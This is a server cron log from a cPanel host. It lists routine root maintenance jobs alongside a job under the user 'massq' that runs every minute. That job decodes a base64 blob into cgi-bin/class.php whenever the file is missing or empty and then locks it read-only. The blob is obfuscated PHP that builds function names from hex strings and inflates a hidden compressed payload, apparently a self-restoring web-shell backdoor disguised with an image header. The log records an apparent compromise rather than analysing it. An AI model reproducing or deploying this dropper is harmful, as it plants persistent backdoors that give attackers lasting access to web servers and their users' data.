Aug 30 19:05:01 server CROND[10179]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:05:01 server CROND[10178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:05:01 server CROND[10176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:05:01 server CROND[10181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:05:01 server CROND[10180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:06:01 server CROND[11040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:06:01 server CROND[11041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:06:01 server CROND[11042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:07:01 server CROND[11490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:07:01 server CROND[11489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:07:01 server CROND[11491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:08:01 server CROND[11909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:08:01 server CROND[11910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:08:01 server CROND[11911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:09:01 server CROND[12297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:09:01 server CROND[12298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:09:01 server CROND[12299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:09:01 server CROND[12300]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 19:10:01 server CROND[12713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:10:01 server CROND[12716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:10:01 server CROND[12720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:10:01 server CROND[12721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:10:01 server CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:10:01 server CROND[12722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:10:01 server CROND[12724]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:10:01 server CROND[12727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:11:01 server CROND[13561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:11:01 server CROND[13562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:11:01 server CROND[13563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:12:01 server CROND[14020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:12:01 server CROND[14021]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:12:01 server CROND[14023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:12:01 server CROND[14024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:13:01 server CROND[14495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:13:01 server CROND[14496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:13:01 server CROND[14497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:14:01 server CROND[14879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:14:01 server CROND[14880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:14:01 server CROND[14881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:15:01 server CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:15:01 server CROND[15318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:15:01 server CROND[15320]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 19:15:01 server CROND[15325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:15:01 server CROND[15324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:15:01 server CROND[15322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:15:01 server CROND[15323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:15:01 server CROND[15319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:16:01 server CROND[16171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:16:01 server CROND[16172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:16:01 server CROND[16173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
